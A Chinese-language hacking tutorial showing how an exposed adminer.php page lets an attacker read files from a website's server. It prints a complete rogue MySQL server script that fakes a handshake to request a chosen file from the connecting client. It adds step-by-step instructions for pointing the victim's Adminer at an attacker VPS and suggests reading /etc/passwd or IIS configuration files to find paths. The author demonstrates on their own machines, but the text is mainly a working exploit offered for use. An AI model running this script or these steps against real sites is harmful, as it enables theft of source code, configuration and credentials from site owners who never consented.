大略一点讲,如果你扫描网站目录,适值碰上了adminer.php这个链接,恭喜你,不须要密码,基本你可以搞定此站了。
利用的工具mysql.py,代码如下:
#coding=utf-8 import socketimport loggingimport syslogging.basicConfig(level=logging.DEBUG)filename=sys.argv[1]sv=socket.socket()sv.setsockopt(1,2,1)sv.bind(("",3306))sv.listen(5)conn,address=sv.accept()logging.info('Conn from: %r', address)conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")conn.recv(9999)logging.info("auth okay")conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")conn.recv(9999)logging.info("want file...")wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filenameconn.sendall(wantfile)content=conn.recv(9999)logging.info(content)conn.close()
实战测试:

第一步,在VPS上实行此代码。
我文章是用我的虚拟机和物理机演示的。在我的虚拟机kali上实行的:python mysql.py "要读的目标站点的文件"
我KALI虚拟机的IP地址是192.168.1.5
保障你的VPS中的用这个mysql.py开的3306端口是可以被外部连上的。
第二步,打开目标站的adminer.php,输入vps的地址,用户名和密码乱写就可以。
我是用本机的物理机演示的。
第三步,点击上岸,在你的vps上就得到要读的止标站点文件的源码了。
在上图中,我读的是物理机中的d:/1.bat,由于1.bat里有中文,以是有乱码。
其余,有个小技巧,如果不知物理目录的话,你可以在第一步中实行python mysql.py “xxx",有可能暴出物理目录。当然,你也可以读/etc/passwd,iis下的配置文件来得到目标站的物理目录。还有,如果复制本文中代码未便利的话,也可以利用https://github.com/allyshka/Rogue-MySql-Server此脚本。